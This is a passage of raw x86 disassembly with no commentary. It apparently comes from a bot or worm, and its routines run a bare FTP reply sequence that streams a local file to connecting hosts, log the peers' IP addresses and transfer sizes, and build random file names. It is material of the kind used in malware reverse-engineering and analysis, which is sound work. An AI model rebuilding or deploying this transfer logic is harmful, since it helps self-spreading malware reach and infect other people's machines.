		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_44402C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_50F8D0


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_444020
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_444018
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_44400C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472B7
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:0044154Co
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44768F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6EDB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_447DF8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44768F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5EDAB2
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DF8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		nop
		call	near ptr 2811D0Bh


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E6E84
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E6ED9, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_4472BB
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6ED9, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F70
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
